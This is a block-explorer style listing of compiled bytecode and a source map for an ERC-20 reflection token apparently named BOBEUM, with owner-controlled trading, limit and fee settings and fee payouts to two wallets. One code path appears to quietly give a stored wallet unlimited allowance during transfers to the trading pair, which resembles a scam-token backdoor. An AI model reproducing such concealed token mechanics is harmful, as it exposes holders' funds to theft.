6001600160a01b03969096166060850152505050608001529392505050565b600082611b7d57634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761048957610489611a9a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201412c46e8b6d513c68d7259ec11892b75eb9cac5ede7a5d29b8c0cfbee003e5d64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101445760003560e01c80634f473db0116100b657806395d89b411161006f57806395d89b4114610383578063962dfc75146103b2578063a9059cbb146103d2578063c816841b146103f2578063dd62ed3e14610412578063f2fde38b1461045857600080fd5b80634f473db0146102db57806370a08231146102fb578063715018a61461031b578063751039fc1461033057806383364ea2146103455780638da5cb5b1461036557600080fd5b80631694505e116101085780631694505e1461023757806318160ddd1461025757806323b872dd14610272578063293230b814610292578063313ce567146102a95780633d8af5f2146102c557600080fd5b8063039cc7491461015057806306fdde0314610179578063095ea7b3146101b95780630e5a9231146101e957806311a63e17146101ff57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660095481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5060408051808201909152600e81526d454c4f4ef09f9296424f4245554d60901b60208201525b6040516101709190611837565b3480156101c557600080fd5b506101d96101d436600461189d565b610478565b6040519015158152602001610170565b3480156101f557600080fd5b50610166600b5481565b34801561020b57600080fd5b5060165461021f906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b34801561024357600080fd5b5060015461021f906001600160a01b031681565b34801561026357600080fd5b50670de0b6b3a7640000610166565b34801561027e57600080fd5b506101d961028d3660046118c9565b61048f565b34801561029e57600080fd5b506102a76104f8565b005b3480156102b557600080fd5b5060405160098152602001610170565b3480156102d157600080fd5b50610166600a5481565b3480156102e757600080fd5b506102a76102f636600461190a565b610797565b34801561030757600080fd5b50610166610316366004611923565b6107c6565b34801561032757600080fd5b506102a76107e8565b34801561033c57600080fd5b506102a761085c565b34801561035157600080fd5b506102a7610360366004611940565b610899565b34801561037157600080fd5b506000546001600160a01b031661021f565b34801561038f57600080fd5b50604080518082019091526006815265424f4245554d60d01b60208201526101ac565b3480156103be57600080fd5b5060175461021f906001600160a01b031681565b3480156103de57600080fd5b506101d96103ed36600461189d565b61093a565b3480156103fe57600080fd5b5060025461021f906001600160a01b031681565b34801561041e57600080fd5b5061016661042d3660046119cb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046457600080fd5b506102a7610473366004611923565b610947565b6000610485338484610a31565b5060015b92915050565b600061049c848484610b55565b6104ee84336104e985604051806060016040528060288152602001611b9a602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061101b565b610a31565b5060019392505050565b6000546001600160a01b0316331461052b5760405162461bcd60e51b815260040161052290611a04565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a29190611a39565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610604573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106289190611a39565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611a39565b600280546001600160a01b0319166001600160a01b039283161790556001546106c791309116600019610a31565b6001546001600160a01b031663f305d71947306106e3816107c6565b6000806106f86000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610760573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107859190611a56565b50506007805460ff1916600117905550565b6000546001600160a01b031633146107c15760405162461bcd60e51b815260040161052290611a04565b600b55565b6001600160a01b03811660009081526004602052604081205461048990611055565b6000546001600160a01b031633146108125760405162461bcd60e51b815260040161052290611a04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b815260040161052290611a04565b670de0b6b3a76400006009819055600a55565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161052290611a04565b60005b828110156109345781600660008686858181106108e5576108e5611a84565b90506020020160208101906108fa9190611923565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061092c81611ab0565b9150506108c6565b50505050565b6000610485338484610b55565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161052290611a04565b6001600160a01b0381166109d65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610522565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a935760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610522565b6001600160a01b038216610af45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610522565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610522565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610522565b4781610c7b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610522565b6001600160a01b03831660009081526006602052604090205460ff16158015610cbd57506001600160a01b03841660009081526006602052604090205460ff16155b15610efa5760075460ff16610d4f576000546001600160a01b03858116911614610d4f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610522565b600954821115610da15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610522565b6002546001600160a01b03848116911614610e2657600a5482610dc3856107c6565b610dcd9190611ac9565b10610e265760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610522565b6000610e31306107c6565b600b54600954919250821015908210610e4a5760095491505b808015610e5f5750600754610100900460ff16155b8015610e73575060075462010000900460ff165b8015610e8d57506002546001600160a01b03878116911614155b8015610eb257506001600160a01b03851660009081526006602052604090205460ff16155b8015610ed757506001600160a01b03861660009081526006602052604090205460ff16155b15610ef757610ee5826110d9565b478015610ef557610ef58161124d565b505b50505b6001600160a01b03841660009081526006602052604090205460019060ff1680610f3c57506001600160a01b03841660009081526006602052604090205460ff165b80610f6e57506002546001600160a01b03868116911614801590610f6e57506002546001600160a01b03858116911614155b15610f7b57506000611008565b6002546001600160a01b038681169116148015610fa657506001546001600160a01b03858116911614155b15610fb857600d54601355600e546014555b6002546001600160a01b038581169116148015610fe357506001546001600160a01b03868116911614155b1561100857600f54601355610ff7826112e1565b6010546110049190611adc565b6014555b611014858585846112f4565b5050505050565b6000818484111561103f5760405162461bcd60e51b81526004016105229190611837565b50600061104c8486611adc565b95945050505050565b60006015548211156110bc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610522565b60006110c6611322565b90506110d28382611345565b9392505050565b6007805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111d5761111d611a84565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190611a39565b816001815181106111ad576111ad611a84565b6001600160a01b0392831660209182029290920101526001546111d39130911684610a31565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120c908590600090869030904290600401611aef565b600060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b50506007805461ff001916905550505050565b60006008548261125d9190611b60565b9050600061126b8284611adc565b6016546040519192506001600160a01b03169083156108fc029084906000818181858888f193505050501580156112a6573d6000803e3d6000fd5b506017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610934573d6000803e3d6000fd5b600061048966038d7ea4c6800083611b60565b8061130157611301611387565b61130c8484846113b5565b8061093457610934601154601355601254601455565b600080600061132f6114c2565b909250905061133e8282611345565b9250505090565b60006110d283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611502565b6013541580156113975750601454155b1561139e57565b601380546011556014805460125560009182905555565b6000806000806000806113c787611530565b9550955095509550955095506113dd898961158d565b156113ec576113ec89896115c1565b6001600160a01b03891660009081526004602052604090205461140f9087611601565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461143e9086611643565b6001600160a01b038916600090815260046020526040902055611460816116a2565b61146a84836116ec565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114af91815260200190565b60405180910390a3505050505050505050565b6015546000908190670de0b6b3a76400006114dd8282611345565b8210156114f957505060155492670de0b6b3a764000092509050565b90939092509050565b600081836115235760405162461bcd60e51b81526004016105229190611837565b50600061104c8486611b60565b600080600080600080600080600061154d8a601354601454611710565b925092509250600061155d611322565b905060008060006115708e878787611765565b919e509c509a509598509396509194505050505091939550919395565b6002546000906001600160a01b0383811691161480156110d257506017546001600160a01b03848116911614905092915050565b6001600160a01b0380821660009081526003602090815260408083209386168352929052205460001911156115fd576115fd8183600019610a31565b5050565b60006110d283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061101b565b6000806116508385611ac9565b9050838110156110d25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610522565b60006116ac611322565b905060006116ba83836117b5565b306000908152600460205260409020549091506116d79082611643565b30600090815260046020526040902055505050565b6015546116f99083611601565b601555600c546117099082611643565b600c555050565b600080808061172a606461172489896117b5565b90611345565b9050600061173d60646117248a896117b5565b905060006117558261174f8b86611601565b90611601565b9992985090965090945050505050565b600080808061177488866117b5565b9050600061178288876117b5565b9050600061179088886117b5565b905060006117a28261174f8686611601565b939b939a50919850919650505050505050565b6000826000036117c757506000610489565b60006117d38385611b82565b9050826117e08583611b60565b146110d25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610522565b600060208083528351808285015260005b8181101561186457858101830151858201604001528201611848565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461189a57600080fd5b50565b600080604083850312156118b057600080fd5b82356118bb81611885565b946020939093013593505050565b6000806000606084860312156118de57600080fd5b83356118e981611885565b925060208401356118f981611885565b929592945050506040919091013590565b60006020828403121561191c57600080fd5b5035919050565b60006020828403121561193557600080fd5b81356110d281611885565b60008060006040848603121561195557600080fd5b833567ffffffffffffffff8082111561196d57600080fd5b818601915086601f83011261198157600080fd5b81358181111561199057600080fd5b8760208260051b85010111156119a557600080fd5b6020928301955093505084013580151581146119c057600080fd5b809150509250925092565b600080604083850312156119de57600080fd5b82356119e981611885565b915060208301356119f981611885565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a4b57600080fd5b81516110d281611885565b600080600060608486031215611a6b57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ac257611ac2611a9a565b5060010190565b8082018082111561048957610489611a9a565b8181038181111561048957610489611a9a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3f5784516001600160a01b031683529383019391830191600101611b1a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b7d57634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761048957610489611a9a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201412c46e8b6d513c68d7259ec11892b75eb9cac5ede7a5d29b8c0cfbee003e5d64736f6c63430008130033
Deployed Bytecode Sourcemap
4134:13562:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4692:57;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4692:57:0;;;;;;;;6544:83;;;;;;;;;;-1:-1:-1;6614:5:0;;;;;;;;;;;;-1:-1:-1;;;6614:5:0;;;;6544:83;;;;;;;:::i;7690:193::-;;;;;;;;;;-1:-1:-1;7690:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7690:193:0;1205:187:1;4833:46:0;;;;;;;;;;;;;;;;5773:87;;;;;;;;;;-1:-1:-1;5773:87:0;;;;-1:-1:-1;;;;;5773:87:0;;;;;;-1:-1:-1;;;;;1577:32:1;;;1559:51;;1547:2;1532:18;5773:87:0;1397:219:1;4218:41:0;;;;;;;;;;-1:-1:-1;4218:41:0;;;;-1:-1:-1;;;;;4218:41:0;;;6967:95;;;;;;;;;;-1:-1:-1;5523:21:0;6967:95;;7891:446;;;;;;;;;;-1:-1:-1;7891:446:0;;;;;:::i;:::-;;:::i;8730:531::-;;;;;;;;;;;;;:::i;:::-;;6730:83;;;;;;;;;;-1:-1:-1;6730:83:0;;5480:1;2458:36:1;;2446:2;2431:18;6730:83:0;2316:184:1;4762:58:0;;;;;;;;;;;;;;;;12685:130;;;;;;;;;;-1:-1:-1;12685:130:0;;;;;:::i;:::-;;:::i;6821:138::-;;;;;;;;;;-1:-1:-1;6821:138:0;;;;;:::i;:::-;;:::i;3979:148::-;;;;;;;;;;;;;:::i;9300:132::-;;;;;;;;;;;;;:::i;12823:230::-;;;;;;;;;;-1:-1:-1;12823:230:0;;;;;:::i;:::-;;:::i;3513:79::-;;;;;;;;;;-1:-1:-1;3551:7:0;3578:6;-1:-1:-1;;;;;3578:6:0;3513:79;;6635:87;;;;;;;;;;-1:-1:-1;6707:7:0;;;;;;;;;;;;-1:-1:-1;;;6707:7:0;;;;6635:87;;5867:93;;;;;;;;;;-1:-1:-1;5867:93:0;;;;-1:-1:-1;;;;;5867:93:0;;;7483:199;;;;;;;;;;-1:-1:-1;7483:199:0;;;;;:::i;:::-;;:::i;4266:26::-;;;;;;;;;;-1:-1:-1;4266:26:0;;;;-1:-1:-1;;;;;4266:26:0;;;7070:184;;;;;;;;;;-1:-1:-1;7070:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7219:18:0;;;7187:7;7219:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7070:184;3600:244;;;;;;;;;;-1:-1:-1;3600:244:0;;;;;:::i;:::-;;:::i;7690:193::-;7792:4;7814:39;3146:10;7837:7;7846:6;7814:8;:39::i;:::-;-1:-1:-1;7871:4:0;7690:193;;;;;:::o;7891:446::-;8023:4;8040:36;8050:6;8058:9;8069:6;8040:9;:36::i;:::-;8087:220;8110:6;3146:10;8158:138;8214:6;8158:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8158:19:0;;;;;;:11;:19;;;;;;;;3146:10;8158:33;;;;;;;;;;:37;:138::i;:::-;8087:8;:220::i;:::-;-1:-1:-1;8325:4:0;7891:446;;;;;:::o;8730:531::-;3892:6;;-1:-1:-1;;;;;3892:6:0;3146:10;3892:22;3884:67;;;;-1:-1:-1;;;3884:67:0;;;;;;;:::i;:::-;;;;;;;;;8814:15:::1;;;;;;;;;-1:-1:-1::0;;;;;8814:15:0::1;-1:-1:-1::0;;;;;8814:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8796:69:0::1;;8874:4;8881:15;;;;;;;;;-1:-1:-1::0;;;;;8881:15:0::1;-1:-1:-1::0;;;;;8881:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8796:108;::::0;-1:-1:-1;;;;;;8796:108:0::1;::::0;;;;;;-1:-1:-1;;;;;5177:15:1;;;8796:108:0::1;::::0;::::1;5159:34:1::0;5229:15;;5209:18;;;5202:43;5094:18;;8796:108:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8782:11;:122:::0;;-1:-1:-1;;;;;;8782:122:0::1;-1:-1:-1::0;;;;;8782:122:0;;::::1;;::::0;;-1:-1:-1;8947:15:0;8915:68:::1;::::0;8932:4:::1;::::0;8947:15:::1;-1:-1:-1::0;;8915:8:0::1;:68::i;:::-;8996:15;::::0;-1:-1:-1;;;;;8996:15:0::1;:31;9035:21;9080:4;9100:24;9080:4:::0;9100:9:::1;:24::i;:::-;9139:1;9156::::0;9173:7:::1;3551::::0;3578:6;-1:-1:-1;;;;;3578:6:0;;3513:79;9173:7:::1;8996:225;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8996:225:0;;;-1:-1:-1;;;;;5615:15:1;;;8996:225:0::1;::::0;::::1;5597:34:1::0;5647:18;;;5640:34;;;;5690:18;;;5683:34;;;;5733:18;;;5726:34;5797:15;;;5776:19;;;5769:44;9195:15:0::1;5829:19:1::0;;;5822:35;5531:19;;8996:225:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9232:14:0::1;:21:::0;;-1:-1:-1;;9232:21:0::1;9249:4;9232:21;::::0;;-1:-1:-1;8730:531:0:o;12685:130::-;3892:6;;-1:-1:-1;;;;;3892:6:0;3146:10;3892:22;3884:67;;;;-1:-1:-1;;;3884:67:0;;;;;;;:::i;:::-;12772:14:::1;:35:::0;12685:130::o;6821:138::-;-1:-1:-1;;;;;6934:16:0;;6887:7;6934:16;;;:7;:16;;;;;;6914:37;;:19;:37::i;3979:148::-;3892:6;;-1:-1:-1;;;;;3892:6:0;3146:10;3892:22;3884:67;;;;-1:-1:-1;;;3884:67:0;;;;;;;:::i;:::-;4086:1:::1;4070:6:::0;;4049:40:::1;::::0;-1:-1:-1;;;;;4070:6:0;;::::1;::::0;4049:40:::1;::::0;4086:1;;4049:40:::1;4117:1;4100:19:::0;;-1:-1:-1;;;;;;4100:19:0::1;::::0;;3979:148::o;9300:132::-;3892:6;;-1:-1:-1;;;;;3892:6:0;3146:10;3892:22;3884:67;;;;-1:-1:-1;;;3884:67:0;;;;;;;:::i;:::-;5523:21:::1;9352:20;:30:::0;;;9393:21:::1;:31:::0;9300:132::o;12823:230::-;3892:6;;-1:-1:-1;;;;;3892:6:0;3146:10;3892:22;3884:67;;;;-1:-1:-1;;;3884:67:0;;;;;;;:::i;:::-;12936:9:::1;12932:114;12951:19:::0;;::::1;12932:114;;;13026:8;12992:18;:31;13011:8;;13020:1;13011:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12992:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;12992:31:0;:42;;-1:-1:-1;;12992:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12972:3;::::1;::::0;::::1;:::i;:::-;;;;12932:114;;;;12823:230:::0;;;:::o;7483:199::-;7588:4;7610:42;3146:10;7634:9;7645:6;7610:9;:42::i;3600:244::-;3892:6;;-1:-1:-1;;;;;3892:6:0;3146:10;3892:22;3884:67;;;;-1:-1:-1;;;3884:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3689:22:0;::::1;3681:73;;;::::0;-1:-1:-1;;;3681:73:0;;6785:2:1;3681:73:0::1;::::0;::::1;6767:21:1::0;6824:2;6804:18;;;6797:30;6863:34;6843:18;;;6836:62;-1:-1:-1;;;6914:18:1;;;6907:36;6960:19;;3681:73:0::1;6583:402:1::0;3681:73:0::1;3791:6;::::0;;3770:38:::1;::::0;-1:-1:-1;;;;;3770:38:0;;::::1;::::0;3791:6;::::1;::::0;3770:38:::1;::::0;::::1;3819:6;:17:::0;;-1:-1:-1;;;;;;3819:17:0::1;-1:-1:-1::0;;;;;3819:17:0;;;::::1;::::0;;;::::1;::::0;;3600:244::o;8345:369::-;-1:-1:-1;;;;;8472:19:0;;8464:68;;;;-1:-1:-1;;;8464:68:0;;7192:2:1;8464:68:0;;;7174:21:1;7231:2;7211:18;;;7204:30;7270:34;7250:18;;;7243:62;-1:-1:-1;;;7321:18:1;;;7314:34;7365:19;;8464:68:0;6990:400:1;8464:68:0;-1:-1:-1;;;;;8551:21:0;;8543:68;;;;-1:-1:-1;;;8543:68:0;;7597:2:1;8543:68:0;;;7579:21:1;7636:2;7616:18;;;7609:30;7675:34;7655:18;;;7648:62;-1:-1:-1;;;7726:18:1;;;7719:32;7768:19;;8543:68:0;7395:398:1;8543:68:0;-1:-1:-1;;;;;8622:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8674:32;;160:25:1;;;8674:32:0;;133:18:1;8674:32:0;;;;;;;8345:369;;;:::o;13061:2478::-;-1:-1:-1;;;;;13183:18:0;;13175:68;;;;-1:-1:-1;;;13175:68:0;;8000:2:1;13175:68:0;;;7982:21:1;8039:2;8019:18;;;8012:30;8078:34;8058:18;;;8051:62;-1:-1:-1;;;8129:18:1;;;8122:35;8174:19;;13175:68:0;7798:401:1;13175:68:0;-1:-1:-1;;;;;13262:16:0;;13254:64;;;;-1:-1:-1;;;13254:64:0;;8406:2:1;13254:64:0;;;8388:21:1;8445:2;8425:18;;;8418:30;8484:34;8464:18;;;8457:62;-1:-1:-1;;;8535:18:1;;;8528:33;8578:19;;13254:64:0;8204:399:1;13254:64:0;13340:21;13380:10;13372:64;;;;-1:-1:-1;;;13372:64:0;;8810:2:1;13372:64:0;;;8792:21:1;8849:2;8829:18;;;8822:30;8888:34;8868:18;;;8861:62;-1:-1:-1;;;8939:18:1;;;8932:39;8988:19;;13372:64:0;8608:405:1;13372:64:0;-1:-1:-1;;;;;13470:22:0;;;;;;:18;:22;;;;;;;;13469:23;:52;;;;-1:-1:-1;;;;;;13497:24:0;;;;;;:18;:24;;;;;;;;13496:25;13469:52;13450:1397;;;13586:14;;;;13581:209;;3551:7;3578:6;-1:-1:-1;;;;;13651:15:0;;;3578:6;;13651:15;13621:153;;;;-1:-1:-1;;;13621:153:0;;9220:2:1;13621:153:0;;;9202:21:1;9259:2;9239:18;;;9232:30;9298:34;9278:18;;;9271:62;9369:33;9349:18;;;9342:61;9420:19;;13621:153:0;9018:427:1;13621:153:0;13842:20;;13832:6;:30;;13806:120;;;;-1:-1:-1;;;13806:120:0;;9652:2:1;13806:120:0;;;9634:21:1;9691:2;9671:18;;;9664:30;9730;9710:18;;;9703:58;9778:18;;13806:120:0;9450:352:1;13806:120:0;13964:11;;-1:-1:-1;;;;;13958:17:0;;;13964:11;;13958:17;13955:169;;14029:21;;14020:6;14004:13;14014:2;14004:9;:13::i;:::-;:22;;;;:::i;:::-;:46;13996:112;;;;-1:-1:-1;;;13996:112:0;;10139:2:1;13996:112:0;;;10121:21:1;10178:2;10158:18;;;10151:30;10217:34;10197:18;;;10190:62;-1:-1:-1;;;10268:18:1;;;10261:33;10311:19;;13996:112:0;9937:399:1;13996:112:0;14140:27;14170:24;14188:4;14170:9;:24::i;:::-;14247:14;;14302:20;;14140:54;;-1:-1:-1;14224:37:0;;;;14279:43;;14276:90;;14346:20;;14324:42;;14276:90;14385:7;:37;;;;-1:-1:-1;14415:7:0;;;;;;;14414:8;14385:37;:71;;;;-1:-1:-1;14444:12:0;;;;;;;14385:71;:112;;;;-1:-1:-1;14486:11:0;;-1:-1:-1;;;;;14478:19:0;;;14486:11;;14478:19;;14385:112;:157;;;;-1:-1:-1;;;;;;14520:22:0;;;;;;:18;:22;;;;;;;;14519:23;14385:157;:204;;;;-1:-1:-1;;;;;;14565:24:0;;;;;;:18;:24;;;;;;;;14564:25;14385:204;14381:455;;;14624:29;14633:19;14624:8;:29::i;:::-;14693:21;14737:14;;14733:88;;14776:25;14790:10;14776:13;:25::i;:::-;14605:231;14381:455;13533:1314;;13450:1397;-1:-1:-1;;;;;14894:24:0;;14859:12;14894:24;;;:18;:24;;;;;;14874:4;;14894:24;;;:50;;-1:-1:-1;;;;;;14922:22:0;;;;;;:18;:22;;;;;;;;14894:50;14893:98;;;-1:-1:-1;14958:11:0;;-1:-1:-1;;;;;14950:19:0;;;14958:11;;14950:19;;;;:40;;-1:-1:-1;14979:11:0;;-1:-1:-1;;;;;14973:17:0;;;14979:11;;14973:17;;14950:40;14889:582;;;-1:-1:-1;15018:5:0;14889:582;;;15076:11;;-1:-1:-1;;;;;15068:19:0;;;15076:11;;15068:19;:53;;;;-1:-1:-1;15105:15:0;;-1:-1:-1;;;;;15091:30:0;;;15105:15;;15091:30;;15068:53;15065:177;;;15161:16;;15142;:35;15213:13;;15196:14;:30;15065:177;15266:11;;-1:-1:-1;;;;;15260:17:0;;;15266:11;;15260:17;:53;;;;-1:-1:-1;15297:15:0;;-1:-1:-1;;;;;15281:32:0;;;15297:15;;15281:32;;15260:53;15256:204;;;15353:17;;15334:16;:36;15423:21;15434:9;15423:10;:21::i;:::-;15406:14;;:38;;;;:::i;:::-;15389:14;:55;15256:204;15481:50;15505:4;15511:2;15515:6;15523:7;15481:23;:50::i;:::-;13164:2375;;13061:2478;;;:::o;541:224::-;661:7;697:12;689:6;;;;681:29;;;;-1:-1:-1;;;681:29:0;;;;;;;;:::i;:::-;-1:-1:-1;721:9:0;733:5;737:1;733;:5;:::i;:::-;721:17;541:224;-1:-1:-1;;;;;541:224:0:o;12139:323::-;12234:7;12292;;12281;:18;;12259:110;;;;-1:-1:-1;;;12259:110:0;;10676:2:1;12259:110:0;;;10658:21:1;10715:2;10695:18;;;10688:30;10754:34;10734:18;;;10727:62;-1:-1:-1;;;10805:18:1;;;10798:40;10855:19;;12259:110:0;10474:406:1;12259:110:0;12380:19;12402:10;:8;:10::i;:::-;12380:32;-1:-1:-1;12430:24:0;:7;12380:32;12430:11;:24::i;:::-;12423:31;12139:323;-1:-1:-1;;;12139:323:0:o;15547:474::-;5705:7;:14;;-1:-1:-1;;5705:14:0;;;;;15640:16:::1;::::0;;15654:1:::1;15640:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15640:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15640:16:0::1;15616:40;;15685:4;15667;15672:1;15667:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15667:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15711:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;15711:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;15667:7;;15711:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15701:4;15706:1;15701:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15701:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;15776:15:::1;::::0;15744:62:::1;::::0;15761:4:::1;::::0;15776:15:::1;15794:11:::0;15744:8:::1;:62::i;:::-;15817:15;::::0;:196:::1;::::0;-1:-1:-1;;;15817:196:0;;-1:-1:-1;;;;;15817:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;15898:11;;15817:15:::1;::::0;15940:4;;15967::::1;::::0;15987:15:::1;::::0;15817:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5742:7:0;:15;;-1:-1:-1;;5742:15:0;;;-1:-1:-1;;;;15547:474:0:o;11867:264::-;11925:20;11957:11;;11948:6;:20;;;;:::i;:::-;11925:43;-1:-1:-1;11979:23:0;12005:21;11925:43;12005:6;:21;:::i;:::-;12037:10;;:33;;11979:47;;-1:-1:-1;;;;;;12037:10:0;;:33;;;;;12057:12;;12037:10;:33;:10;:33;12057:12;12037:10;:33;;;;;;;;;;;;;;;;;;;;-1:-1:-1;12081:16:0;;:42;;-1:-1:-1;;;;;12081:16:0;;;;:42;;;;;12107:15;;12081:16;:42;:16;:42;12107:15;12081:16;:42;;;;;;;;;;;;;;;;;;;11119:99;11173:7;11200:10;11206:4;11200:3;:10;:::i;16029:347::-;16193:6;16188:49;;16216:9;:7;:9::i;:::-;16247:47;16268:6;16276:9;16287:6;16247:20;:47::i;:::-;16310:6;16305:64;;16345:12;17574:18;;17555:16;:37;17620:16;;17603:14;:33;17514:130;9986:164;10028:7;10049:15;10066;10085:19;:17;:19::i;:::-;10048:56;;-1:-1:-1;10048:56:0;-1:-1:-1;10122:20:0;10048:56;;10122:11;:20::i;:::-;10115: